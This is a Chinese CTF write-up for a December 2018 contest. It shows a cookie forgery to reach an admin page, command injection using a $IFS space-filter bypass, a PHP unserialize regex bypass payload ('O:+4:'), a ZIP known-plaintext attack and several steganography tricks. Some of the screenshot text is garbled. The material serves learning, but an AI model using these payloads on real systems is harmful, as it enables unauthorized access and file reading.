CTF-安恒18年十二月月赛部分writeup



weixin_34255055 U 于 2018-12-22 22:35:00 发布 O 388 企 收藏 1 文章标签: php 原文链接: http://www.cnblogs.com/pureqh/p/10161993.html 版权

CTF-安恒十二月月赛部分writeup

这次题目都比较简单蛤,连我这菜鸡都能做几道。

WEB1-ezweb2

打开网站,啥也没有,审计源代码,还是啥都没有,也没什么功能菜单,扫了一下目录,扫到了admin.php,但是 提示:你不是管理员。好吧,抓个包看看

GET / HTTP/1.1 Host: 101.71.29.5:10000 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Fire Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: PHPSESSID=08a7487q752h3ioc1ojcpeeme5; user=dXNIcg%3D%3D Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

解一下码---:

明文:		BASE64:
user	BASE64编码 >	dXNIcg==
	◆BASE64解码	

将user改为admin,发现直接跳转到了admin.php页面。



这个框试了一下是可以执行命令的,Is

color config.php contactform css fonts img index.php js public templates</d

但是ls / 却错误, ls -l 也是错误, 应该是过滤了空格通过 \$IFS 可以绕过

<div id="tip">bin</div>
boot
dev
etc
ffLAG_404
home
lib
lib64
media
mnt
my_init
my_service
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
<pre><div class="foot"></div></pre>

cat /ffLAG_404 也就是cat\$IFS/ffLAG_404即可读取flag

>flag{6f1d95159e3b90ed28186c518dd15e8c}<

flag为: flag{6f1d95159e3b90ed28186c518dd15e8c}

WEB2-easy

是一道代码审计题

代码如下

```
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                 return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $ GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight file("./index.php");
}
?>
```

unserialize 一眼就看到了是反序列化题目,

用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo \$good),而且其他类也可能定义了一个类允许 toString读取某个文件。

那么构造反序列化字符串即可读取任意文件,但是题目存在正则筛选,preg_match('/[oc]:\d+:/i',\$data,\$matches);筛掉了[oc]:数字:。

如果正常的反序列化payload: O:4:"baby":1:{s:4:"file";s:8:"flag.php";}中前面的O:4:符合正则的条件,因此将其绕 过即可。利用符号+就不会正则匹配到数字

所以payload为:O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

注:使用burp可以直接提交,使用url或者hackbar需要url编码一下

<?php // \$flag = 'flag{ad2328a2c3f0933c053fd3c6f28f6143}'; flag为flag{ad2328a2c3f0933c053fd3c6f28f6143}

MISC2-签到

关注官方微信号 回答脑筋急转弯即可 答案为蜗牛

MISC3-学习资料

题目只有一个txt可以打开

🥘 备忘录.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) 高效学习资料,皇家在线学习场所,提供给有缘人,助力学习新高度!

比较两个压缩包

| 🔩 5c19f | f90d2677e. | zip (评估版 | 反本) | | | | | | | | |
|---|--|----------------------|------------------------------------|---|---|----------------------------------|-------------------------------------|--|-------------------------------|------------------------------|-------------|
| 文件(F) 看 | 命令(C) 工具 | 具(S) 收藏 | 夹(O) ì | 选项(N) 帮助 | 助(H) | | | | | | |
| E to | | | * | | | | | | | | |
| 涂加
• • • • • • • • • • • • • • • • • • • | | 测试
(77 · | 三石 | 删际 | | | 1日尽 | 归佃内母 | 注梓 | 日胜 | 件压恰式, |
| T 🔛 | 5c19f90d2 | 677e.zip - | ZIP」法约 | 缩义件, 解包 | 大小方 3 | 48,405 字 | לו | | | | |
| 名称 | | 7 | 大小 | 压缩后大小 | 类型 | | 修改 | 时间 | CRC32 | 2 | |
| | | | | | 文件夹 | 0 | | | | | |
| 警 只要学 | 不死就往… | 348, | 310 | 348,397 | WinRA | R ZIP 压缩. | 201 | 8/12/15 2 | 2B0E4 | 134 | |
| 🔄 备忘录. | .txt | | 95 | 94 | 文本文材 | 当 | 201 | 8/12/16 1.< | AB420 | 2601 | |
| | | | | | | | | | | | |
| 📴 只要学 | 学不死就往死 | 浬学.zip (j | 评估版本 | (7 | | | | | | | |
| 文件(E) 看 | 命令(<u>C</u>) 工具 | ₹(<u>S)</u> 收藏 | 夹(<u>O)</u> ì | 选项(<u>N</u>) 帮助 | 助(且) | | | | | | |
| 43 | | - | | | | A | | | | | |
| 添加 | | | | | | | | | Ę | | |
| and the second second | 解压到 | 测试 | 查看 | 删除 | 查找 | 向导 | 信息 | 日描病毒 | 三 | 自解 | 屏压格式 |
| ↑ 🕎 | 解压到
只要学不死 | 测试 | 查看
.zip - Z | 删除
们P 压缩文件 | 查找
,解包大/ | 向导
小为 354,17 | 信息
74 字节 | 日描病毒 | 注释 | 自解原 | 屏压格式 |
| ↑ 【2000 1000 1000 1000 1000 1000 1000 100 | 解压到
只要学不死。
^ | 测试 就往死里学 | 查看
E.zip - Z
大小 | 删除
们P 压缩文件
压缩后大小 | 查找
,解包大/
类型 | 向导
小为 354,17 | 信息
74 字节
修改 | 扫描病毒
 扫描病毒
 | 注释
CRC32 | 自解.
2 | 承压格式 |
| ↑ ™
名称 | 解压到
只要学不死
^ | 测试
就往死里学 | 查看
e.zip - Z
大小 | 删除
IIP压缩文件
压缩后大小 | 查找
,解包大/
类型
文件夹 | 向导
小为 354,17 | 信息
74 字节
修改 | 日描病毒 | E
注释
CRC32 | 自解.
2 | 屏压格式 |
| ↑
名称
▲ 品応录 | 解压到
只要学不死
へ
.txt * | 测试
就往死里学 | 查看
 | 删除
IP 压缩文件
压缩后大小
105 | 查找
,解包大/
类型
文件夹
文本文林 | 向导
小为 354,17 | 信息
74 字节
修改
201 | 日描病毒 8/12/15 2 | 注释
CRC32 | 自解E
2
2
2601 | 承压格式 |
| ↑
名称
▲
▲
本
▲
本
本
本
、
本
、
本
、
本
、
、
、
、
、
、
、
、
、
、
、
、
、 | 解压到
只要学不死
ふ
.txt *
料.docx * | 测试
就往死里学
354, | 查看
E.zip - Z
大小
95
079 | 删除
IP 压缩文件
压缩后大小
105
347,785 | 查找
解包大/
类型
文件夹
文本文林
Microso | 向导
小为 354,17
当
oft Word | 信息
74 字节
修改
201
201 | 时间
8/12/15 2
8/12/15 2 | 注释
CRC32
AB420
DA8F8 | 自解)
2
2
33E5 | 承压格式 |
| ↑ 名称 ▲ ● 备忘录 ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● | 解压到
只要学不死。
^
.txt *
料.docx * | 测试
就往死里学
354, | 查看
E.zip - Z
大小
95
079 | 删除
IIP 压缩文件
压缩后大小
105
347,785 | 查找
,解包大/
类型
文件夹
文本文材
Microso | 向导
小为 354,17
当
oft Word | 信息
74 字节
修改
2015
. 2015 | 时间
8/12/15 2
8/12/15 2 | 注释
CRC32
AB420
DA8F8 | 自解.
2
2
2
33E5 | 承压格式 |
| ↑ ■ 名称
● 名称
● 名忘录
● 谷忘录 | 解压到
只要学不死i
へ
.txt *
料.docx * | 测试
就往死里学
354, | 查看
:zip - Z
大小
95
079 | 删除
IIP 压缩文件
压缩后大小
105
347,785 | 查找
解包大/
类型
文件夹
文本文材
Microse | 向导
小为 354,17
当
oft Word | 信息
74 字节
修改
2011
. 2011 | 时间
8/12/15 2
8/12/15 2 | 注释
CRC32
AB42(
DA8F8 | 自解!
2
2
33E5 | 承压格式 |
| ▲ ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● | 解压到
只要学不死
へ
.txt *
料.docx * | 测试
就往死里学
354,4 | 查看
注zip - Z
大小
95
079 | 删除
IP 压缩文件
压缩后大小
105
347,785 | 查找
解包大/
类型
文件夹
文本文材
Microso | 向导
小为 354,17
当
oft Word | 信息
74 字节
修改
2011
. 2011 | 日描病毒 助间 8/12/15 2 8/12/15 2 | 注释
CRC32
AB420
DA8F8 | 自解!
2
2
601
33E5 | 屏压格式 |

其crc32值是相同的,因此可以使用明文攻击。将备忘录单独拿出来压缩为一个压缩包。然后和加密的压缩包进行明文攻击。

| AKCHEK 4.54 - 7 % | | | | | | | |
|--|--|--|--|--|--|--|--|
| 文件(E) 恢复(R) 帮助(H) | | | | | | | |
| 🔐 - 祁 🔑 💰
打开 开始! 停止 基准测试 _ | <t< td=""></t<> | | | | | | |
| 加密的 ZIP/RAR/ACE/ARJ 文件 攻击类型 | | | | | | | |
| C:\Users, Desktop\只要学不死就往 | 明文 ~ | | | | | | |
| | 1400 | | | | | | |
| 范围 长度 字典 明文 自动保存 | 选项 高级 | | | | | | |
| 明文选项 | | | | | | | |
| 明文文件路径: | | | | | | | |
| C:\Users p\备忘录.zip | 🗎 · 开始于: 🕓 | | | | | | |
| 🔿 密钥 密钥 | 密钥 梁 | | | | | | |
| | | | | | | | |
| □ 允许使用二进制文件作为明文 ZIP 档案 | 文件 | | | | | | |
| □ 允许使用二进制文件作为明文 ZIP 档案
【 状态窗口 | 文件 | | | | | | |
| 一 允许使用二进制文件作为明文 ZIP 档案 状态窗口 2018/12/24 15:58:52 - ARCHPR 4.54 build 45 | 文件
已启动 | | | | | | |
| | 文件
已启动
只要学不死就往死里学.zip"已 | | | | | | |
| ○ 允许使用二进制文件作为明文 ZIP 档案 <i>状态窗口</i>
2018/12/24 15:58:52 - ARCHPR 4.54 build 45
2018/12/24 15:59:02 - 文件"C:\Users\.
打开。
2018/12/24 15:59:02 - 明文攻击已开始 | 文件
已启动
只要学不死就往死里学.zip"已 | | | | | | |
| ○ 允许使用二进制文件作为明文 ZIP 档案 | 文件
已启动
只要学不死就往死里学·zip"已 | | | | | | |
| 允许使用二进制文件作为明文 ZIP 档案 状态窗口 2018/12/24 15:58:52 - ARCHPR 4.54 build 45 2018/12/24 15:59:02 - 文件"C:\Users\. 打开。 2018/12/24 15:59:02 - 明文攻击已开始 当前口令: n/a 已用时间: 25s | 文件
已启动
只要学不死就往死里学.zip"已
平均速度: n/a
剩余时间: 4m 51s | | | | | | |
| ○ 允许使用二进制文件作为明文 ZIP 档案 | 文件
已启动
只要学不死就往死里学.zip"已
平均速度: n/a
剩余时间: 4m 51s | | | | | | |
| | 文件
已启动
只要学不死就往死里学.zip"已
平均速度: n/a
剩余时间: 4m 51s | | | | | | |
| ○ 允许使用二进制文件作为明文 ZIP 档案 秋态窗口 2018/12/24 15:58:52 - ARCHPR 4.54 build 45
2018/12/24 15:59:02 - 文件"C:\Users\.
打开。 2018/12/24 15:59:02 - 明文攻击已开始 当前口令: n/a 已用时间: 25s 明文攻击正在进行, 搜索密钥 (7552/98416) 79 ARCHPR version 4.54 (c) 1997-2012 ElcomSoft C | 文件
已启动
只要学不死就往死里学.zip"已
平均速度: n/a
剩余时间: 4m 51s | | | | | | |

N年以后--

| 这个文件的口令 | 1qazmko098 |
|---------|-------------------------------|
| 十六进制口令 | 31 71 61 7a 6d 6b 6f 30 39 38 |
| 📊 保存 | ✔ 确定 |



word隐写嘿嘿,套路1检查文档

| 文档检查器 | ? | \times |
|--|------|--------------|
| 审阅检查结果。 | | |
| 找不到嵌入文档。 | | ^ |
| ✓ 宏、窗体和 ActiveX 控件
找不到宏、窗体或 ActiveX 控件。 | | |
| ✓ 折叠的标题
找不到任何折叠的标题。 | | |
| ✓ 自定义 XML 数据
未发现自定义 XML 数据。 | | |
| ✓ 页眉、页脚和水印
未找到页眉、页脚或水印。 | | |
| ✓ 不可见内容
未找到不可见对象。 | | |
| ! 隐藏文字
已找到隐藏文字。 | 全部删除 | ~ |
| ▲ 注意: 某些更改不能撤消。 重新检查(R) | 关闭 | (<u>C</u>) |

有是有,但是找半天,后来发现flag在图片后面......

Flag{edaa144c91a4e5b817e4a18cbdb78879}+



所以flag为flag{edaa144c91a4e5b817e4a18cbdb78879}

其实把word后缀改为zip,打开找word/document.xml即可



MISC4-juju

压缩包里只有一张png图,一顿测试后,发现在kali打不开



那就是说图片的文件内容肯定被改了,题目提示说有11只猪,但是png只有几只,所以大概知道是什么了

上winhex

🔛 WinHex - [juju.png]

🎬 文件(F) 编辑(E) 捜索(S) 导航(N) 查看(V) 工具(T) 专业工具(I) 选项(O) 窗口(W) 帮助(H)

| 案件数据 | 15 | 금 🥝 🛷 🖻 🚺 👘 🗠 🗅 🖻 🐘 🕴 🦍 | |
|-------------|--|--|--|
| 文件(L) 编辑(D) | juju.png | | |
| | Offset Offset 000001 0000011 00000016 00000017 0000005D 0000005D 0000005B 0000005A 0000005B 0000005A 0000005A 0000005A 0000005A | 0 1 2 3 4 5 6 7 8 9 A B C D E AMSI ASCII 50 4E 47 0D 0A 1A 0A 00 00 0D 49 48 44 52 PNG IHDR 00 00 04 38 00 00 23 38 08 02 00 00 63 72 8 8 cr FB D8 00 00 97 48 59 73 00 00 08 13 00 01 9HYs 36 8 Cr THDR 36 8 Cr 7 8 8 Cr THDR 36 6 6 10 9 9 18 00 00 42 61 69 54 58 36 BaITX TXMICONaddbe. Xmp< 2xpack et 2xpack et 44 52 10 12 14 10 14 10 14 10 <th>juju.png
C:\Users\index\Desktop
文件大小:
缺省编辑模式
状态:
撤消级数:
反向撤消:</th> | juju.png
C:\Users\index\Desktop
文件大小:
缺省编辑模式
状态:
撤消级数:
反向撤消: |
| | 000000D3
000000E2
000000F1
00000100
0000010F | 35 35 37 37 32 2C 20 32 30 31 34 2F 30 31 2F 55772, 2014/01/
31 33 2D 31 39 3A 34 34 3A 30 30 20 20 20 20 20 13-19:44:00
20 20 20 20 22 3E 0A 20 20 20 3C 72 64 66 3A "> <rr></rr> <pre></pre> | 创建时间:
最后写入时间: |

这两个位置决定着图片的高度,如果更改它的值,图片高度也会发生变化,值越大图片越长

改了后面的参数几次还是没出来,所以直接该前一位 02为22

好了,图片够长了





base的格式,但是不是base64,是base32,解一下得到flag

>>> print base64.b32decode('MZWGCZ33GQZTQMTEM5SGMMTEPU=====')
flag{4382dgdf2d}

要加密的字符串: 4

4382dgdf2d

加密

| 字符串 | 4382dgdf2d | |
|--------|----------------------------------|--|
| 16位小写 | 27f762855e475779 | |
| 16位 大写 | 27F762855E475779 | |
| 32位 小写 | a213072327f762855e475779eb081ca3 | |
| 32位 大写 | A213072327F762855E475779EB081CA3 | |

所以flag为flag{a213072327f762855e475779eb081ca3}

转载于:https://www.cnblogs.com/pureqh/p/10161993.html